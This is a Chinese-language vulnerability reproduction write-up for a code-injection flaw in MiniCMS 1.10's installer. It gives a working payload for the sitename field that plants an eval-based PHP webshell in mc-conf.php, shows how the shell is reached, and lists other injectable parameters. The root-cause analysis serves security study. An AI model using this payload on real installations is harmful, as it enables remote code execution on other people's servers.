type
status
date
slug
summary
tags
category
icon
password
最后编辑时间
Jul 31, 2023 08:40 AM
漏洞编号
No.
同步状态
状态
Author
简述
根据CVE漏洞情报描述,MiniCMS 1.10 允许通过
install.php
sitename
参数执行任意 PHP 代码,这会影响 mc_conf.php
中的 site_name
字段。实际上,漏洞点不止一个sitename
参数。漏洞环境
MiniCMS
bg5sbk • Updated Nov 5, 2024
下载1.10版本
解压后命名将文件夹为
minicms
,移动文件夹到web目录下,并将minicms
目录下的install.txt
文件修改为install.php
,访问 http://yourip/minicms/install.php

(下载的是1.10,不知道为什么显示v1.9)
点击提交并抓包
复现
将
sitename
修改为以上的payload '%29;eval($_REQUEST['cmd']);/*
,返回200
访问shell
http://yourip/minicms/?cmd=phpinfo();

漏洞成因
代码
查看
install.php
,显然,安装完成后这个文件自己删除了,所以需要备份install.txt
查看
首先通过
start_install
参数判断请求操作
接着判断配置文件
mc-conf.php
是否存在,来判断进行第一次安装还是升级
来到漏洞关键的代码,如果
start_install
非空,进行安装,file_put_contents
将 sitelink
等参数直接写进 mc-conf.php
配置文件,同时这5个参数是用户可控的后续代码创建其他一些索引文件,最后
unlink
删除自身,显然,这个漏洞一般没法利用,逻辑上来说安装完网站后不存在漏洞利用,只能在安装的时候被利用一次,只有监守自盗的可能了。
配置文件
看看创建后的
mc-conf.php

很直接简单的拼接,每个参数的格式一样,只需要闭合前面的
')
,同时注释后续的代码,即可在中间拼接恶意代码。通过测试,注入点并非如通告所说只有sitename
,而是sitelink
username
password
nickname
均可以作为注入点- 作者:3R1C
- 链接:https://notion-3r1c.vercel.app/article/129
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。